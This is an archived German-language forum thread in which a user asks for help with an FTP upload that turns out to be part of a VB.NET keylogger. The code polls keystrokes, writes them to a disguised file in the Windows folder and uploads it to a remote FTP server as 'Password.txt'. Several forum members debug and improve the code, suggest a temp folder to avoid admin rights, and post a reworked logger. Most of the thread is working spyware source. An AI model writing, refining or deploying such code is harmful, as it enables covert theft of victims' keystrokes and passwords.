PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Ftp upload Problem


Fuyo
10.07.2009, 10:40
Also liebe Forum User ich habe folgendes Problem :


Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233.txt")
Datei.WriteLine(Label1.Text)
Datei.Close()

Dim Ort As String = "C:\WINDOWS\windows2233.txtt"
Dim Ftp As String = "mein ftp"
Dim Name As String = "mmeine datei"
Dim User As String = login"
Dim Password As String = "pw"

My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)


Warum klappt das nciht ?
Benutze vb 2008 express editoin
Sawyer
10.07.2009, 11:29
Dim Ort As String = "C:\WINDOWS\windows2233.txtt"

Ich würde mal sagen weil hier ein t zuviel ist.
Sonst müsste alles richtig sein ;)

btw: falsches forum -> move to .NET

MfG
Perry91
10.07.2009, 11:34
Jop t zuviel
Fuyo
10.07.2009, 11:34
Also ich habe das mit dem t korriegiert , passiert immer noch nichts, ich hab dne "Fehlerlog" mal hier :

Eine Ausnahme (erste Chance) des Typs "System.ArgumentException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.

vllt hilft es einem weiter um mein prob zu lösen
Sawyer
10.07.2009, 11:41
Ich hab im Moment leider keine IDE Installiert , aber es könnte daran liegen , das du ein Flush vergessen hast.


Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233.txt")
Datei.WriteLine(Label1.Text)
Datei.Flush()
Datei.Close()

MfG
Fuyo
10.07.2009, 11:43
Also könnt das vllt wer überarbeiten ?


Public Class Form1

Declare Function GetAsyncKeyState Lib _
"user32.dll" (ByVal nVirtKey As Keys) As Short
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233.txt")
Datei.WriteLine(Label1.Text)
Datei.Flush()
Datei.Close()

Dim Ort As String = "C:\WINDOWS\windows2233.txt"
Dim Ftp As String = "*******.ohost.de"
Dim Name As String = "Password.txt"
Dim User As String = "*********"
Dim Password As String = "*********"

My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(Keys.A) = -32767 Then
Label1.Text = Label1.Text + ("a")
End If
If GetAsyncKeyState(Keys.B) = -32767 Then
Label1.Text = Label1.Text + ("b")
End If
If GetAsyncKeyState(Keys.C) = -32767 Then
Label1.Text = Label1.Text + ("c")
End If
If GetAsyncKeyState(Keys.D) = -32767 Then
Label1.Text = Label1.Text + ("d")
End If
If GetAsyncKeyState(Keys.E) = -32767 Then
Label1.Text = Label1.Text + ("e")
End If
If GetAsyncKeyState(Keys.F) = -32767 Then
Label1.Text = Label1.Text + ("f")
End If
If GetAsyncKeyState(Keys.G) = -32767 Then
Label1.Text = Label1.Text + ("g")
End If
If GetAsyncKeyState(Keys.H) = -32767 Then
Label1.Text = Label1.Text + ("h")
End If
If GetAsyncKeyState(Keys.I) = -32767 Then
Label1.Text = Label1.Text + ("i")
End If
If GetAsyncKeyState(Keys.J) = -32767 Then
Label1.Text = Label1.Text + ("j")
End If
If GetAsyncKeyState(Keys.K) = -32767 Then
Label1.Text = Label1.Text + ("k")
End If
If GetAsyncKeyState(Keys.L) = -32767 Then
Label1.Text = Label1.Text + ("l")
End If
If GetAsyncKeyState(Keys.M) = -32767 Then
Label1.Text = Label1.Text + ("m")
End If
If GetAsyncKeyState(Keys.N) = -32767 Then
Label1.Text = Label1.Text + ("n")
End If
If GetAsyncKeyState(Keys.O) = -32767 Then
Label1.Text = Label1.Text + ("o")
End If
If GetAsyncKeyState(Keys.P) = -32767 Then
Label1.Text = Label1.Text + ("p")
End If
If GetAsyncKeyState(Keys.Q) = -32767 Then
Label1.Text = Label1.Text + ("q")
End If
If GetAsyncKeyState(Keys.R) = -32767 Then
Label1.Text = Label1.Text + ("r")
End If
If GetAsyncKeyState(Keys.S) = -32767 Then
Label1.Text = Label1.Text + ("s")
End If
If GetAsyncKeyState(Keys.T) = -32767 Then
Label1.Text = Label1.Text + ("t")
End If
If GetAsyncKeyState(Keys.U) = -32767 Then
Label1.Text = Label1.Text + ("u")
End If
If GetAsyncKeyState(Keys.V) = -32767 Then
Label1.Text = Label1.Text + ("v")
End If
If GetAsyncKeyState(Keys.W) = -32767 Then
Label1.Text = Label1.Text + ("w")
End If
If GetAsyncKeyState(Keys.X) = -32767 Then
Label1.Text = Label1.Text + ("x")
End If
If GetAsyncKeyState(Keys.Y) = -32767 Then
Label1.Text = Label1.Text + ("y")
End If
If GetAsyncKeyState(Keys.Z) = -32767 Then
Label1.Text = Label1.Text + ("z")
End If
If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
Label1.Text = Label1.Text + ("1")
End If
If GetAsyncKeyState(Keys.NumPad2) = -32767 Then
Label1.Text = Label1.Text + ("2")
End If
If GetAsyncKeyState(Keys.NumPad3) = -32767 Then
Label1.Text = Label1.Text + ("3")
End If
If GetAsyncKeyState(Keys.NumPad4) = -32767 Then
Label1.Text = Label1.Text + ("4")
End If
If GetAsyncKeyState(Keys.NumPad5) = -32767 Then
Label1.Text = Label1.Text + ("5")
End If
If GetAsyncKeyState(Keys.NumPad6) = -32767 Then
Label1.Text = Label1.Text + ("6")
End If
If GetAsyncKeyState(Keys.NumPad7) = -32767 Then
Label1.Text = Label1.Text + ("7")
End If
If GetAsyncKeyState(Keys.NumPad8) = -32767 Then
Label1.Text = Label1.Text + ("8")
End If
If GetAsyncKeyState(Keys.NumPad9) = -32767 Then
Label1.Text = Label1.Text + ("9")
End If
If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
Label1.Text = Label1.Text + ("0")
End If
If GetAsyncKeyState(Keys.Back) = -32767 Then
Label1.Text = Label1.Text + ("Weggemacht")
End If
If GetAsyncKeyState(Keys.Space) = -32767 Then
Label1.Text = Label1.Text + (" ")
End If
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
My.Computer.FileSystem.WriteAllText("C:\WINDOWS\windows2233.txt", Label1.Text, False)
End Sub
End Class
Sawyer
10.07.2009, 11:45
Sry , bin nen "noob" was ist IDE ?

Integrated Development Environment , bekannt als Entwicklungsumgebung oder Compiler^^

MfG
Fuyo
10.07.2009, 11:46
Ehm , ok , aber das hilft mir jetzt auch nicht weiter .
Ich glaube ich habe etwas grundlegendes falsch gemacht im Script , habe es oben über deinen Post gepostet
Public Class Form1

Declare Function GetAsyncKeyState Lib _
"user32.dll" (ByVal nVirtKey As Keys) As Short
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233.txt")
Datei.WriteLine(Label1.Text)
Datei.Flush()
Datei.Close()

Dim Ort As String = "C:\WINDOWS\windows2233.txt"
Dim Ftp As String = "*******.ohost.de"
Dim Name As String = "Password.txt"
Dim User As String = "*********"
Dim Password As String = "*********"

My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(Keys.A) = -32767 Then
Label1.Text = Label1.Text + ("a")
End If
If GetAsyncKeyState(Keys.B) = -32767 Then
Label1.Text = Label1.Text + ("b")
End If
If GetAsyncKeyState(Keys.C) = -32767 Then
Label1.Text = Label1.Text + ("c")
End If
If GetAsyncKeyState(Keys.D) = -32767 Then
Label1.Text = Label1.Text + ("d")
End If
If GetAsyncKeyState(Keys.E) = -32767 Then
Label1.Text = Label1.Text + ("e")
End If
If GetAsyncKeyState(Keys.F) = -32767 Then
Label1.Text = Label1.Text + ("f")
End If
If GetAsyncKeyState(Keys.G) = -32767 Then
Label1.Text = Label1.Text + ("g")
End If
If GetAsyncKeyState(Keys.H) = -32767 Then
Label1.Text = Label1.Text + ("h")
End If
If GetAsyncKeyState(Keys.I) = -32767 Then
Label1.Text = Label1.Text + ("i")
End If
If GetAsyncKeyState(Keys.J) = -32767 Then
Label1.Text = Label1.Text + ("j")
End If
If GetAsyncKeyState(Keys.K) = -32767 Then
Label1.Text = Label1.Text + ("k")
End If
If GetAsyncKeyState(Keys.L) = -32767 Then
Label1.Text = Label1.Text + ("l")
End If
If GetAsyncKeyState(Keys.M) = -32767 Then
Label1.Text = Label1.Text + ("m")
End If
If GetAsyncKeyState(Keys.N) = -32767 Then
Label1.Text = Label1.Text + ("n")
End If
If GetAsyncKeyState(Keys.O) = -32767 Then
Label1.Text = Label1.Text + ("o")
End If
If GetAsyncKeyState(Keys.P) = -32767 Then
Label1.Text = Label1.Text + ("p")
End If
If GetAsyncKeyState(Keys.Q) = -32767 Then
Label1.Text = Label1.Text + ("q")
End If
If GetAsyncKeyState(Keys.R) = -32767 Then
Label1.Text = Label1.Text + ("r")
End If
If GetAsyncKeyState(Keys.S) = -32767 Then
Label1.Text = Label1.Text + ("s")
End If
If GetAsyncKeyState(Keys.T) = -32767 Then
Label1.Text = Label1.Text + ("t")
End If
If GetAsyncKeyState(Keys.U) = -32767 Then
Label1.Text = Label1.Text + ("u")
End If
If GetAsyncKeyState(Keys.V) = -32767 Then
Label1.Text = Label1.Text + ("v")
End If
If GetAsyncKeyState(Keys.W) = -32767 Then
Label1.Text = Label1.Text + ("w")
End If
If GetAsyncKeyState(Keys.X) = -32767 Then
Label1.Text = Label1.Text + ("x")
End If
If GetAsyncKeyState(Keys.Y) = -32767 Then
Label1.Text = Label1.Text + ("y")
End If
If GetAsyncKeyState(Keys.Z) = -32767 Then
Label1.Text = Label1.Text + ("z")
End If
If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
Label1.Text = Label1.Text + ("1")
End If
If GetAsyncKeyState(Keys.NumPad2) = -32767 Then
Label1.Text = Label1.Text + ("2")
End If
If GetAsyncKeyState(Keys.NumPad3) = -32767 Then
Label1.Text = Label1.Text + ("3")
End If
If GetAsyncKeyState(Keys.NumPad4) = -32767 Then
Label1.Text = Label1.Text + ("4")
End If
If GetAsyncKeyState(Keys.NumPad5) = -32767 Then
Label1.Text = Label1.Text + ("5")
End If
If GetAsyncKeyState(Keys.NumPad6) = -32767 Then
Label1.Text = Label1.Text + ("6")
End If
If GetAsyncKeyState(Keys.NumPad7) = -32767 Then
Label1.Text = Label1.Text + ("7")
End If
If GetAsyncKeyState(Keys.NumPad8) = -32767 Then
Label1.Text = Label1.Text + ("8")
End If
If GetAsyncKeyState(Keys.NumPad9) = -32767 Then
Label1.Text = Label1.Text + ("9")
End If
If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
Label1.Text = Label1.Text + ("0")
End If
If GetAsyncKeyState(Keys.Back) = -32767 Then
Label1.Text = Label1.Text + ("Weggemacht")
End If
If GetAsyncKeyState(Keys.Space) = -32767 Then
Label1.Text = Label1.Text + (" ")
End If
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
My.Computer.FileSystem.WriteAllText("C:\WINDOWS\windows2233.txt", Label1.Text, False)

End Sub
Sawyer
10.07.2009, 13:59
Public Class Form1

Declare Function GetAsyncKeyState Lib _
"user32.dll" (ByVal nVirtKey As Keys) As Short

Dim DateiPfad As String = Environment.GetEnvironmentVariable("windir") & "\log.txt"

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Timer1.Enabled = True
Timer1.Start()

'Dim Ftp As String = "*******.ohost.de"
'Dim Name As String = "Password.txt"
'Dim User As String = "*********"
'Dim Password As String = "*********"

'My.Computer.Network.UploadFile(DateiPfad, "ftp://" & Ftp & "/" & Name, User, Password)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(Keys.A) = -32767 Then
SchreibeZeile(DateiPfad, "a", True)
End If

If GetAsyncKeyState(Keys.B) = -32767 Then
SchreibeZeile(DateiPfad, "b", True)
End If

If GetAsyncKeyState(Keys.C) = -32767 Then
SchreibeZeile(DateiPfad, "c", True)
End If

If GetAsyncKeyState(Keys.D) = -32767 Then
SchreibeZeile(DateiPfad, "d", True)
End If

If GetAsyncKeyState(Keys.E) = -32767 Then
SchreibeZeile(DateiPfad, "e", True)
End If

If GetAsyncKeyState(Keys.F) = -32767 Then
SchreibeZeile(DateiPfad, "f", True)
End If

If GetAsyncKeyState(Keys.G) = -32767 Then
SchreibeZeile(DateiPfad, "g", True)
End If

If GetAsyncKeyState(Keys.H) = -32767 Then
SchreibeZeile(DateiPfad, "h", True)
End If

If GetAsyncKeyState(Keys.I) = -32767 Then
SchreibeZeile(DateiPfad, "i", True)
End If

If GetAsyncKeyState(Keys.J) = -32767 Then
SchreibeZeile(DateiPfad, "j", True)
End If

If GetAsyncKeyState(Keys.K) = -32767 Then
SchreibeZeile(DateiPfad, "k", True)
End If

If GetAsyncKeyState(Keys.L) = -32767 Then
SchreibeZeile(DateiPfad, "l", True)
End If

If GetAsyncKeyState(Keys.M) = -32767 Then
SchreibeZeile(DateiPfad, "m", True)
End If

If GetAsyncKeyState(Keys.N) = -32767 Then
SchreibeZeile(DateiPfad, "n", True)
End If

If GetAsyncKeyState(Keys.O) = -32767 Then
SchreibeZeile(DateiPfad, "o", True)
End If

If GetAsyncKeyState(Keys.P) = -32767 Then
SchreibeZeile(DateiPfad, "p", True)
End If

If GetAsyncKeyState(Keys.Q) = -32767 Then
SchreibeZeile(DateiPfad, "q", True)
End If

If GetAsyncKeyState(Keys.R) = -32767 Then
SchreibeZeile(DateiPfad, "r", True)
End If

If GetAsyncKeyState(Keys.S) = -32767 Then
SchreibeZeile(DateiPfad, "s", True)
End If

If GetAsyncKeyState(Keys.T) = -32767 Then
SchreibeZeile(DateiPfad, "t", True)
End If

If GetAsyncKeyState(Keys.U) = -32767 Then
SchreibeZeile(DateiPfad, "u", True)
End If

If GetAsyncKeyState(Keys.V) = -32767 Then
SchreibeZeile(DateiPfad, "v", True)
End If

If GetAsyncKeyState(Keys.W) = -32767 Then
SchreibeZeile(DateiPfad, "w", True)
End If

If GetAsyncKeyState(Keys.X) = -32767 Then
SchreibeZeile(DateiPfad, "X", True)
End If

If GetAsyncKeyState(Keys.Y) = -32767 Then
SchreibeZeile(DateiPfad, "Y", True)
End If

If GetAsyncKeyState(Keys.Z) = -32767 Then
SchreibeZeile(DateiPfad, "Z", True)
End If

If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
SchreibeZeile(DateiPfad, "1", True)
End If

If GetAsyncKeyState(Keys.NumPad2) = -32767 Then
SchreibeZeile(DateiPfad, "2", True)
End If

If GetAsyncKeyState(Keys.NumPad3) = -32767 Then
SchreibeZeile(DateiPfad, "3", True)
End If

If GetAsyncKeyState(Keys.NumPad4) = -32767 Then
SchreibeZeile(DateiPfad, "4", True)
End If

If GetAsyncKeyState(Keys.NumPad5) = -32767 Then
SchreibeZeile(DateiPfad, "5", True)
End If

If GetAsyncKeyState(Keys.NumPad6) = -32767 Then
SchreibeZeile(DateiPfad, "6", True)
End If

If GetAsyncKeyState(Keys.NumPad7) = -32767 Then
SchreibeZeile(DateiPfad, "7", True)
End If

If GetAsyncKeyState(Keys.NumPad8) = -32767 Then
SchreibeZeile(DateiPfad, "8", True)
End If

If GetAsyncKeyState(Keys.NumPad9) = -32767 Then
SchreibeZeile(DateiPfad, "9", True)
End If

If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
SchreibeZeile(DateiPfad, "0", True)
End If

If GetAsyncKeyState(Keys.Back) = -32767 Then
SchreibeZeile(DateiPfad, "Weggemacht", True)
End If

If GetAsyncKeyState(Keys.Space) = -32767 Then
SchreibeZeile(DateiPfad, " ", True)
End If

If GetAsyncKeyState(Keys.Enter) = -32767 Then
SchreibeZeile(DateiPfad, "<br />", True)
End If

End Sub

Private Sub SchreibeZeile(ByVal Pfad As String, ByVal Daten As String, ByVal append As Boolean)
Dim sw As New System.IO.StreamWriter(Pfad, append)

If Daten = "<br />" Then
sw.Write(ControlChars.CrLf)
Else
sw.Write(Daten)
sw.Flush()
End If

sw.Flush()
sw.Close()

End Sub
End ClassAlso ich habe deinen Code mal überarbeitet und etwas verbessert
Desweiteren solltest du dir Sache wie ( "Label1.Text = Label1.Text + "1" ) abgewöhnen , da dies noch aus vb classic Zeiten stammt , und in .NET gibt es da spezielle Operatoren wie das +=

MfG
DarkFire
10.07.2009, 14:03
Du solltest Case benutzen =/
Mit If besteht die Chance das Buchstaben "übersehen" werden!
Fuyo
10.07.2009, 14:22
Danke , aber es klappt immer noch nicht ,
er findet die datei einfach nicht ,
Ich weiß nicht was ich da machen soll ....

bin halt nicht so erfahren bitte um hilfe
Sawyer
10.07.2009, 14:44
Also bei mir funktioniert es , kann nur noch daran liegen das du keine Rechte hast in den Ordner zu schreiben bzw zu Lesen.

vll mal Als Administrator starten.

MfG
br00_pwn
10.07.2009, 14:55
ja bei mir funzt es auch, aber du solltest es vielleicht noch etwas abändern...geht um einiges einfacher und kürzer ;)
inmate
10.07.2009, 15:00
@Fuyo lasse deine Datei mal im tmp Ordner schreiben.

environ("tmp") & "\Logs.txt")


Vllt liegts ja an Vista und dadurch sollte es auch ohne Adminrechte gehen.

mfG
Fuyo
10.07.2009, 16:15
Ich werde es versuchen , ich benutze win xp
falls es euch hilft !
Bin einziger user , sollte admin rechte haben
Wie meinst du das mit :
environ("tmp") & "\Logs.txt")